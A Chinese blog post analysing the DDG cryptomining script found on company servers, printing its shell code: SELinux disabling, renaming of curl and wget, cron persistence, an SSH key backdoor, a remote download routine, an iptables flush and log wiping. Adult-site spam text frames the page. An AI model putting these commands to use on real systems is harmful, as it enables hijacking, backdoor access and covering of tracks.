精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

一個“挖礦腳本”還能難得住我?

安全 應用安全
公司有幾臺機器,最近 CPU 一直在瘋轉,就像是吃了藥,一直在發熱。由于機器實在是太多,有這么幾臺安全性防護沒有到位,就一直躺在角落里瘋狂運轉。

 公司有幾臺機器,最近 CPU 一直在瘋轉,就像是吃了藥,一直在發熱。由于機器實在是太多,有這么幾臺安全性防護沒有到位,就一直躺在角落里瘋狂運轉。

[[328527]]
圖片來自 Pexels

直到統一的監控腳本接管了這幾臺機器,異常情況才得以浮出水面。最后發現了多個奇奇怪怪的進程,發現是一個挖礦腳本。

下載下來學習了一下,發現腳本的編寫者,有著較高的水平。雖然在別人機器進行挖礦行為是不道德的,但掩蓋不了腳本編寫者的風騷操作。

挖礦,是計算機技術界最讓人迷惑的行為之一,但它賺錢。據悉,這段腳本名叫 DDG,已經挖取了價值一千多萬人民幣的虛擬幣貨幣。

本著學習的目的,我稍微分析了一下這個神奇的腳本,也算是吸盡它的精華,為我所用。

這事我都沒敢告訴老板,因為說了他也不懂,反生事端。不過和大家交流一下還是可以的,因為你們懂啊。

01.Code 1

  1. #!/bin/sh 

腳本的第一行,看起來是一行注釋,但其實并不是。它規定了接下來的腳本,將要采用哪一個 SHELL 執行。

像我們平常用的 bash、zsh 等,屬于 sh 的超集,這個腳本使用 sh 作為執行的 shell,具有更好的可移植性。

02.Code 2

  1. setenforce 0 2>dev/null 
  2. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null 

setenforce 是 Linux 的 selinux 防火墻配置命令,執行 setenforce 0 表示關閉 selinux 防火墻。2 代表的是標準錯誤(stderr)的意思。

所以后面,使用重定向符,將命令的錯誤輸出定向到 /dev/null 設備中。這個設備是一個虛擬設備,意思是什么都不干。非常適合靜悄悄的干壞事。

03.Code 3

  1. sync && echo 3 >/proc/sys/vm/drop_caches 

腳本貼心的幫我們釋放了一些內存資源,以便獲取更多的資源進行挖礦。

眾所周知,Linux 系統會隨著長時間的運行,會產生很多緩存,清理方式就是寫一個數字到 drop_caches 文件里,這個數字通常為 3。

sync 命令將所有未寫的系統緩沖區寫到磁盤中,執行之后就可以放心的釋放緩存了。

04.Code 4

  1. crondir='/var/spool/cron/'"$USER" 
  2. cont=`cat ${crondir}` 
  3. ssht=`cat /root/.ssh/authorized_keys` 
  4. echo 1 > /etc/sysupdates 
  5. rtdir="/etc/sysupdates" 
  6. bbdir="/usr/bin/curl" 
  7. bbdira="/usr/bin/cur" 
  8. ccdir="/usr/bin/wget" 
  9. ccdira="/usr/bin/wge" 
  10. mv /usr/bin/wget /usr/bin/get 
  11. mv /usr/bin/xget /usr/bin/get 
  12. mv /usr/bin/get /usr/bin/wge 
  13. mv /usr/bin/curl /usr/bin/url 
  14. mv /usr/bin/xurl /usr/bin/url 
  15. mv /usr/bin/url /usr/bin/cur 

沒錯,上面這些語句就是完成了一些普通的操作。值得注意的是,它把我們的一些常用命令,使用 mv 命令給重名了。

這在執行命令的時候,就會顯得分成功能的蛋疼。這腳本已經更改了計算機的一些文件,屬于犯罪的范疇了。

腳本為了復用一些功能,抽象出了很多的函數。我們直接跳到 main 函數的執行,然后看一下這個過程。

05.Code 5

首先是 kill_miner_proc 函數。代碼很長,就不全部貼出來了。

  1. kill_miner_proc() 
  2.     ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 
  3.   ... 
  4.     pkill -f biosetjenkins 
  5.     pkill -f Loopback 
  6.     ... 
  7.     crontab -r 
  8.     rm -rf /var/spool/cron/* 

挖礦領域是一個相愛相殺的領域。這個方法首先使用 ps、grep、kill 一套組合,干掉了同行的挖礦腳本,然后停掉了同行的 cron 腳本,黑吃黑的感覺。

在這段腳本里,使用了 pkill 命令。這個命令會終止進程,并按終端號踢出用戶,比較暴力。

06.Code 6

接下來執行的是 kill_sus_proc 函數。

  1. ps axf -o "pid"|while read procid 
  2. do 
  3. ... 
  4. done 

ps 加上 o 參數,可以指定要輸出的列,在這里只輸出的進程的 pid,然后使用 read 函數,對 procid 進行遍歷操作。

07.Code 7

  1. ls -l /proc/$procid/exe | grep /tmp 
  2. if [ $? -ne 1 ] 
  3. then 
  4. ... 
  5. fi 

上面就是遍歷操作過程了,我們可以看到 if 語句的語法。其中 $? 指的是上一個命令的退出狀態。

0 表示沒有錯誤,其他任何值表明有錯誤。-ne 是不等于的意思,意思就是能夠匹配到 tmp 這個字符串。

08.Code 8

  1. ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid 
  2. do 
  3. ... 
  4. done 

呵呵,上面又來了一次循環遍歷。不過這次針對的目標,是 CPU 使用超過 40% 的進程。這就有點狠了:影響我挖礦的進程,都得死!相煎何太急。

09.Code 9

再接下來,腳本針對不同的用戶屬性,進行了不同的操作。

首先是 root 用戶。通過判斷是否存在 $rtdir 文件,來確定是否是 root 權限。

  1. chattr -i /etc/sysupdate* 
  2. chattr -i /etc/config.json* 
  3. chattr -i /etc/update.sh* 
  4. chattr -i /root/.ssh/authorized_keys* 
  5. chattr -i /etc/networkservice 

使用 chattr 命令,把一些重要的文件,搞成不能任意改動的只讀屬性,也是夠損的。然后,操作 cron 程序,把腳本的更新服務加入到定時中。

就是下面這段腳本。

10.Code 10

  1. if [ ! -f "/usr/bin/crontab" ] 
  2. then 
  3.     echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir} 
  4. else 
  5.     [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab - 
  6. fi 

注意 [[ $cont =~ "update.sh" ]] 這以小段代碼,怪異的很。[[ ]] 是 shell 中內置的一個命令,支持字符串的模式匹配。

使用 =~ 的時候,甚至支持 shell 的正則表達式,強大的令人發指。它的輸出結果是一個 bool 類型,所以能夠使用||進行拼接。

而后面的單小括號 (),是的是一個命令組,括號中多個命令之間用分號隔開,最后一個命令可以沒有分號;和 `cmd` 的效果基本是一樣的。

11.Code 11

搞完了定時任務,就要配置 ssh 自動登錄了,通過把公鑰追加到信任列表中就可以。

  1. chmod 700 /root/.ssh/ 
  2. echo >> /root/.ssh/authorized_keys 
  3. chmod 600 root/.ssh/authorized_keys 
  4. echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/                      

12.Code 12

說曹操曹操就到,下面的腳本就使用了 `` 進行操作。

  1. filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'
  2. if [ "$filesize_config" -ne "$config_size" ] 
  3. then 
  4.     pkill -f sysupdate 
  5.     rm /etc/config.json 
  6.     downloads $config_url /etc/config.json $config_url_backup 
  7. else 
  8.     echo "no need download" 
  9. fi    

通過一系列騷操作,獲取到配置文件的大小,如果判斷文件大小不一致,那么就重新下載一個。這就用到了 downloads 函數。

shell 中的函數,看起來比較怪異,后面的參數傳遞,就像是腳本傳遞一樣,傳送給函數。

13.Code 13

  1. downloads $config_url /etc/config.json $config_url_backup 

這句話,就傳遞了三個參數。當然,文件要從遙遠的服務器上下載。域名是 .de 結尾的,證明是個德國的域名,其他的我們一無所知。

  1. downloads() 
  2.     if [ -f "/usr/bin/curl" ] 
  3.     then 
  4.     echo $1,$2 
  5.         http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1` 
  6.         if [ "$http_code" -eq "200" ] 
  7.         then 
  8.             curl --connect-timeout 10 --retry 100 $1 > $2 
  9.         elif [ "$http_code" -eq "405" ] 
  10.         then 
  11.             curl --connect-timeout 10 --retry 100 $1 > $2 
  12.         else 
  13.             curl --connect-timeout 10 --retry 100 $3 > $2 
  14.         fi 
  15.     elif [ -f "/usr/bin/cur" ] 
  16.     then 
  17.         http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1` 
  18.         if [ "$http_code" -eq "200" ] 
  19.         then 
  20.             cur --connect-timeout 10 --retry 100 $1 > $2 
  21.         elif [ "$http_code" -eq "405" ] 
  22.         then 
  23.             cur --connect-timeout 10 --retry 100 $1 > $2 
  24.         else 
  25.             cur --connect-timeout 10 --retry 100 $3 > $2 
  26. fi 
  27.     elif [ -f "/usr/bin/wget" ] 
  28.     then 
  29.         wget --timeout=10 --tries=100 -O $2 $1 
  30.         if [ $? -ne 0 ] 
  31.     then 
  32.         wget --timeout=10 --tries=100 -O $2 $3 
  33.         fi 
  34.     elif [ -f "/usr/bin/wge" ] 
  35.     then 
  36.         wge --timeout=10 --tries=100 -O $2 $1 
  37.         if [ $? -eq 0 ] 
  38.         then 
  39.             wge --timeout=10 --tries=100 -O $2 $3 
  40.         fi 
  41.     fi 

我認為,這段代碼作者寫的又臭又長,完全沒有體現出自己應有的水平。應該是趕工期,沒有想好代碼的復用,才會寫的這么有失水準。

我們上面說到,腳本改了幾個命令的名字,其中就有 curl。這個命令是如此的強大,以至于腳本的作者都忍不住加了不少參數:

  • -I:用來測試 http 頭信息。
  • -m:設置最大傳輸時間。
  • -o:指定保持的文件名。這里是 /dev/null,呃呃呃......
  • -s:靜默模式,不輸出任何東西。
  • --connect-timeout:連接超時時間。
  • --retry:重試次數,好狠,100 次。

如果沒有 curl?那就使用替補的 wget,套路都是一樣的。

14.Code 14

接下來是一系列相似的操作,最后,對 iptables 一批操作。

  1. iptables -F 
  2. iptables -X 
  3. iptables -A OUTPUT -p tcp --dport 3333 -j DROP 
  4. iptables -A OUTPUT -p tcp --dport 5555 -j DROP 
  5. iptables -A OUTPUT -p tcp --dport 7777 -j DROP 
  6. iptables -A OUTPUT -p tcp --dport 9999 -j DROP 
  7. iptables -I INPUT -s 43.245.222.57 -j DROP 
  8. service iptables reload 

15.Code 15

細心的腳本編寫者,還使用命令清理了操作日志。

  1. history -c 
  2. echo > /var/spool/mail/root 
  3. echo > /var/log/wtmp 
  4. echo > /var/log/secure 
  5. echo > /root/.bash_history 

不露死角,瀟灑走開。可以看到,且不說真正的挖礦程序,僅僅是這個小腳本,作者也下足了功夫。

腳本里命令繁多,使用方式多樣,縮緊格式優雅,除了有一點啰嗦,沒有加密之外,是一個非常好的拿來學習的腳本。

瞧了瞧被控制的機器,我趕緊偷偷的重裝了機器。就當它是一個夢吧。老板問起的時候,什么都沒有發生過。

作者:小姐姐味道

簡介:聚焦基礎架構和 Linux。十年架構,日百億流量,與你探討高并發世界,給你不一樣的味道。個人微信 xjjdog0,歡迎添加好友,進一步交流。

編輯:陶家龍

出處:轉載自微信公眾號小姐姐味道(ID:xjjdog)

責任編輯:武曉燕 來源: 小姐姐味道
相關推薦

2022-05-30 08:02:51

事務日志MySQL數據庫

2014-07-08 09:27:24

SQLSERVER腳本

2022-03-07 05:53:41

線程CPU代碼

2023-12-28 08:01:59

2025-11-14 09:24:26

運維Ansible?自動化

2018-08-05 06:16:00

2021-04-15 09:18:22

單例餓漢式枚舉

2013-05-21 09:32:11

ChromebookChrome OS

2015-04-30 08:03:36

2017-07-05 13:34:10

2024-08-06 16:23:12

2014-07-22 10:51:02

密碼安全

2023-12-26 18:47:32

2012-11-28 13:25:27

程序員

2009-04-13 08:46:07

蓋茨慈善夢想

2020-11-04 07:56:19

工具Linux 翻譯

2013-05-13 10:24:44

谷歌開發團隊開發管理

2020-09-27 14:13:50

Spring BootJava框架

2021-09-13 08:41:52

職場互聯網自閉

2013-08-14 10:23:22

創業個人創業互聯網創業
點贊
收藏

51CTO技術棧公眾號

久久亚洲综合色| sm捆绑调教国产免费网站在线观看| 欧美gvvideo网站| 亚洲国产综合91精品麻豆 | 亚洲精品国产精品国产| 韩国v欧美v日本v亚洲v| 亚洲天堂网站在线观看视频| avav在线播放| 国产一区二区三区三州| 亚洲另类av| 亚洲一区二区视频| 亚洲伊人一本大道中文字幕| 亚洲精品视频网址| 在线看片国产福利你懂的| 国产成a人亚洲| 波霸ol色综合久久| 日本精品一区二区三区四区| 日批免费在线观看| 欧美日韩国产欧| 91精品国产欧美一区二区| 亚洲一区二区三区精品在线观看| 久久夜色精品国产噜噜亚洲av| 成人激情自拍| 亚洲一区二区高清| 国产精品久久国产精品| 成年人av电影| 亚洲一区二区三区四区电影| 亚洲女人****多毛耸耸8| 国产欧美精品在线播放| 性の欲びの女javhd| 亚洲成av在线| 国产农村妇女毛片精品久久麻豆| 清纯唯美亚洲激情| 男人天堂av电影| 一区二区三区短视频| 久久欧美一区二区| 国产成人精品免高潮费视频| 成人在线一级片| 蜜桃成人精品| 中文字幕 久热精品 视频在线 | 伊人久久大香线蕉午夜av| 中文字幕视频免费观看| 91日韩免费| 制服丝袜亚洲播放| 欧美极品少妇无套实战| 国产综合无码一区二区色蜜蜜| 亚洲午夜91| 国产丝袜一区二区三区免费视频| 国产a视频免费观看| av在线电影院| 国产一区中文字幕| 欧美激情网站在线观看| av在线网站观看| 91tv亚洲精品香蕉国产一区| 亚洲视频小说图片| 国产一区二区免费在线观看| 日本特级黄色片| 成人aaaa| 日韩欧美中文一区二区| 大陆极品少妇内射aaaaa| 国产视频二区在线观看| 国产真实乱偷精品视频免| 欧美精品电影在线| 亚洲午夜久久久久久久国产| 不卡一区视频| 午夜视频在线观看一区二区 | 日韩电影免费网站| 日韩欧美国产成人一区二区| 黄色免费视频大全| 成人免费网址| 久久亚区不卡日本| 成人天堂噜噜噜| 日韩污视频在线观看| 成人动漫免费在线观看| 日韩欧美电影一区| 激情视频综合网| 免费在线观看av电影| 久久青草国产手机看片福利盒子 | 日本中文字幕网址| 久操免费在线| 久久久久久久网| 7777精品久久久大香线蕉小说| 国产成人综合欧美精品久久| 亚洲色图二区| 永久免费毛片在线播放不卡| 野战少妇38p| 午夜不卡一区| 日韩欧美亚洲国产一区| 激情五月婷婷六月| 一区二区三区视频网站| 99精品欧美一区| 91嫩草在线| 中文字幕制服诱惑| 噜噜噜躁狠狠躁狠狠精品视频| 欧美成人免费播放| 国产三级aaa| 免费不卡中文字幕在线| 亚洲国产黄色片| 日韩久久久久久久久久久| 午夜无码国产理论在线| 欧美午夜片欧美片在线观看| 日本a在线天堂| 美女隐私在线观看| 中文字幕高清不卡| 欧美精品在线一区| 天堂在线视频免费| 成人国产精品免费网站| 99国内精品久久久久久久软件| 91theporn国产在线观看| 日日欢夜夜爽一区| 日韩免费在线看| av黄色在线播放| 国产精品久久777777毛茸茸| 午夜精品久久久99热福利| 劲爆欧美第一页| 欧美二区不卡| 欧美放荡办公室videos4k| 欧美日韩色视频| 羞羞答答成人影院www| 色妞一区二区三区| 国产精品麻豆免费版现看视频| 欧美欧美黄在线二区| 精品中文字幕久久久久久| 黄色av网址在线观看| 国产 日韩 欧美 综合 一区| 精品欧美一区二区久久| 亚洲成年人av| 红杏成人性视频免费看| 亚洲国产精品yw在线观看 | 午夜视频在线观看精品中文| 555www色欧美视频| 岛国毛片在线播放| 精品视频在线观看免费观看 | 国产97在线亚洲| 一级黄色av片| 美女视频网站黄色亚洲| 91亚洲永久免费精品| 国产免费av电影| 国产不卡视频在线播放| 精品乱色一区二区中文字幕| 日本电影一区二区在线观看| 欧美高清在线视频| 最新视频 - x88av| 国产天堂在线播放视频| 欧美日韩激情美女| 国产视频一区二区三区在线播放 | www.av在线播放| 国产精品久久久久四虎| 国产日韩第一页| 狂野欧美性猛交xxxxx视频| 欧美日韩一区二区在线| 黄色在线视频网| 国产乱码精品一区二区三区亚洲人 | 在线电影欧美日韩一区二区私密| 成人三级视频在线观看| 精品999网站| 国产va免费精品高清在线观看| 中文资源在线播放| 国产成人aaa| 任我爽在线视频精品一| 国产剧情在线| 富二代精品短视频| gogogo高清免费观看在线视频| 日韩精品视频在线看| 日韩成人在线电影网| 亚洲毛片亚洲毛片亚洲毛片| 真实国产乱子伦精品一区二区三区| 久久噜噜噜精品国产亚洲综合| 日韩在线视频不卡| 国产一区三区三区| 欧美日韩另类综合| 18视频在线观看网站| 色综合久久久久综合体| 日本少妇激三级做爰在线| 性欧美xxxx免费岛国不卡电影| 日韩在线观看免费| www.国产一区二区| 国产精品 欧美精品| 丝袜足脚交91精品| 欧美另类老肥妇| 欧美一区二区三区在线视频| 天天躁日日躁aaaa视频| 激情欧美一区二区三区| 国产自产女人91一区在线观看| 污污网站在线免费观看| 亚洲三级在线免费观看| 国产又大又黄又粗的视频| 久久精品国产亚洲blacked| 久久久av网站| 波多野结衣家庭主妇| 精品国产伦一区二区三区| 成年人在线免费观看| 久久久国际精品| 亚洲精品无码国产| 欧美色片在线观看| 亚洲精品国产setv| 欧美成人三级电影在线| 女人十八毛片嫩草av| 亚洲看片免费| 亚洲最大的免费| 精品一区二区三区视频日产| 日本人妻一区二区三区| 亚洲春色h网| 国外成人免费在线播放| 99这里有精品视频| 日韩电影在线观看完整版| 奇米综合一区二区三区精品视频| 国产精品区一区二区三在线播放 | 国产成人小视频| 国产日韩欧美制服另类| 999在线免费观看视频| 免费网站免费进入在线| 欧美这里有精品| 亚洲一区二区观看| 亚洲天堂中文网| 青青一区二区| 欧美日本精品在线| 精品国自产在线观看| 亚洲丝袜精品丝袜在线| 国产日韩中文字幕在线| 久久香蕉视频网站| 黄色污网站在线观看| 精品国产一区二区三区四区四| 日本一二三区在线观看| 欧美专区在线| 亚洲国产精品成人综合| 日产精品高清视频免费| 国产亚洲一区二区手机在线观看| 亚洲欧洲午夜一线一品| av毛片在线免费观看| 麻豆免费在线| 激情图区综合网| 夜夜爽99久久国产综合精品女不卡| 超薄肉色丝袜脚交一区二区| 一本一道久久a久久精品逆3p| 欧美一级做a爰片免费视频| 国产日韩欧美精品电影三级在线| 日韩中文字幕组| 日韩在线二区| 国产精品美女www爽爽爽| 精品久久久999| 在线观看免费视频a| 亚洲人123区| 黄页网站在线看| 精品69视频一区二区三区| 国产在线视视频有精品| 一本久久a久久精品vr综合| 色综合视频一区二区三区日韩| 久久久精品久久久| 日韩一区二区三区不卡| 一本久道久久综合中文字幕| 青青青视频在线播放| 韩国v欧美v日本v亚洲v| 国产手机免费视频| 国产日产精品一区二区三区四区的观看方式| 国产91在线视频| av网站大全在线| 日韩av在线免播放器| 国产一级精品毛片| 亚洲一区二区视频| 婷婷色一区二区三区| 国产河南妇女毛片精品久久久| 国产精品无码一区二区在线| 欧美日韩在线网站| 91高跟黑色丝袜呻吟在线观看| sm久久捆绑调教精品一区| 色播久久人人爽人人爽人人片视av| www.五月婷| 在线免费av一区| 久久久久香蕉视频| 国产精品免费观看视频| 永久免费未满蜜桃| 久久成人18免费观看| 毛片在线视频播放| 伊人久久大香线蕉综合四虎小说 | 伊人久久噜噜噜躁狠狠躁| 日韩暖暖在线视频| 激情网站在线| 中文字幕精品www乱入免费视频| 囯产精品一品二区三区| 欧美午夜影院一区| 青青草成人av| 亚洲一区二区三区自拍| 国产一二三四区| 欧美国产成人精品| 18禁裸乳无遮挡啪啪无码免费| 国产精品中文字幕欧美| 在线观看高清免费视频| 久久不射中文字幕| 男女视频网站在线观看| 综合天堂久久久久久久| 天天爽天天狠久久久| 丝袜久久网站| 国产一区二区精品免费| 在线视频亚洲欧美中文| 成人久久一区二区三区| 国产精品.xx视频.xxtv| 日本午夜人人精品| 麻豆国产在线| 国模视频一区二区三区| 日本无删减在线| 久久久成人的性感天堂| 调教视频免费在线观看| 伊人久久久久久久久久| 日本精品一区二区| 日韩成人av电影| 亚州国产精品久久久| 福利小视频在线| 欧美第一淫aaasss性| 日本小视频在线免费观看| 久久伊人91精品综合网站| 国产欧美黑人| 美女国内精品自产拍在线播放| 欧美日韩xx| 久久久av免费| 亚洲h片在线看| 欧美另类在线播放| 日本高清成人vr专区| 欧美巨猛xxxx猛交黑人97人| 麻豆视频在线观看免费| 久久精品一本久久99精品| 巨大荫蒂视频欧美大片| 久久久久99精品久久久久| 免费黄色在线网站| 欧美超级乱淫片喷水| 色婷婷av在线| 97国产精品免费视频| 亚洲三级欧美| 国产精品美女www爽爽爽视频| 国产精品美女午夜爽爽| 91精品国产综合久久香蕉| 激情不卡一区二区三区视频在线| 91超碰在线免费观看| 加勒比色综合久久久久久久久| 国产免费高清一区| 中文字幕精品影院| 亚洲一区二区三区午夜| 综合av在线| 欧美日韩国产精品激情在线播放| 免费亚洲视频| 国产无遮挡猛进猛出免费软件 | 青青青国产精品一区二区| 91精品店在线| 亚洲精品免费av| 精品欧美午夜寂寞影院| 欧美一区二区三区四区在线观看地址| 日韩理论电影院| 国产尤物av一区二区三区| 一区二区福利| 视色视频在线观看| 国产黄色精品网站| 精品国产无码在线观看| 自拍偷拍欧美激情| 亚洲一区欧美在线| 精品1区2区3区| 日韩一卡二卡在线| 自拍偷拍亚洲欧美| 都市激情国产精品| 国产精品一二区| 精品嫩草影院| 吴梦梦av在线| 国产日韩1区| 免费网站在线观看黄| 99精品桃花视频在线观看| av免费播放网站| 亚洲成人一区在线| 怡红院成永久免费人全部视频| 欧美大胆一级视频| 992tv免费直播在线观看| 韩国福利视频一区| 亚洲精品tv| 欧美一区二区三区精美影视| 欧美婷婷在线| 少妇网站在线观看| 久久亚洲影视婷婷| 久久精品免费av| 69久久99精品久久久久婷婷| 欧美日韩伦理片| 欧美极品美女视频网站在线观看免费| 国产成人77亚洲精品www| 九九九九九精品| 午夜国产一区| 天天操天天干天天做| 久久久久久免费| 国产又大又黑又粗免费视频| 91精品国产日韩91久久久久久| 国产黄色片在线观看| 69久久夜色精品国产69| 国产精品成人**免费视频| 五月天丁香综合久久国产| 亚洲综合国产激情另类一区| 成人在线观看一区二区| 中文字幕一区视频| 午夜一区二区三区四区| 精品网站999www| 久久青草伊人| 国产原创精品| 中文亚洲字幕| 岛国精品资源网站| 亚洲第一激情av|